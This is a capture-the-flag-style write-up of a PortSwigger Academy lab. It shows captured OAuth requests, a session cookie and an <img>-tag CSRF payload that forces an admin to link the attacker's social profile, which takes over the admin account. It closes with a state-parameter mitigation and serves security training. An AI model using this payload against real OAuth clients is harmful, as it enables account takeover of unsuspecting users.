PortSwigger Academy Lab: Forced OAuth profile linking
Task
This lab gives you the option to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password. Due to the insecure implementation of the OAuth flow by the client application, an attacker can manipulate this functionality to obtain access to other users’ accounts.
To solve the lab, use a CSRF attack to attach your own social media profile to the admin user’s account on the blog website, then access the admin panel and delete carlos.
The admin user will open anything you send from the exploit server and they always have an active session on the blog website.
You can log in to your own accounts using the following credentials:
- Blog website account:
wiener:peter - Social media profile:
peter.wiener:hotdog
Attempt
CSRF attacks, by nature, can’t steal the user’s data but it makes them to perform state-changing actions. This time that state-changing action for the admin is to attach wiener’s social media account to the admin’s account on the website.
First, I logged in as wiener and attached wiener’s social media profile to their blog website account. Captured the request below:
GET /auth?client_id=wa6zjhpdr482n8yhfrmu3&redirect_uri=https://0a65004a03c8bdc08047122300410025.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0aff0011034abd9180da10f502eb005d.oauth-server.net
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a65004a03c8bdc08047122300410025.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: keep-alive
This request is most important in OAuth because it initiates the flow. You can see the response type is code so its grant type is Authorization Code. However, it doesn’t have state parameter which basically works as a sort of CSRF token. The redirect URL is https://0a65004a03c8bdc08047122300410025.web-security-academy.net/oauth-linking so let’s see the request against that url too:
GET /oauth-linking?code=bAOZfYzHUIwuE95CJCQtbgoQsBYyIg5c6pTmnOeSnak HTTP/2
Host: 0a65004a03c8bdc08047122300410025.web-security-academy.net
Cookie: session=iCqjYCKaw6kAjvm3iNa2Ty8qbvjE8SN0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://oauth-0aff0011034abd9180da10f502eb005d.oauth-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
A GET request was sent with the code to /oauth-linking. Since no state parameter is used, simply making the admin send a GET request with my (unused) code would be enough.
I intercepted the request to attach my social media profile. Saved the code and dropped the request. Code: R7ct6zVAcyB-nMxYOlvJUhmfLZVSZ6n1OhYv9G6u4ZY
Set this payload at the exploit server:
<img src="https://0a65004a03c8bdc08047122300410025.web-security-academy.net/oauth-linking?code=R7ct6zVAcyB-nMxYOlvJUhmfLZVSZ6n1OhYv9G6u4ZY">
After sending the exploit to the victim, I logged in using social media account and I got the admin account.
Mitigation
Enforce the use of state parameter. This prevents CSRF-like attacks.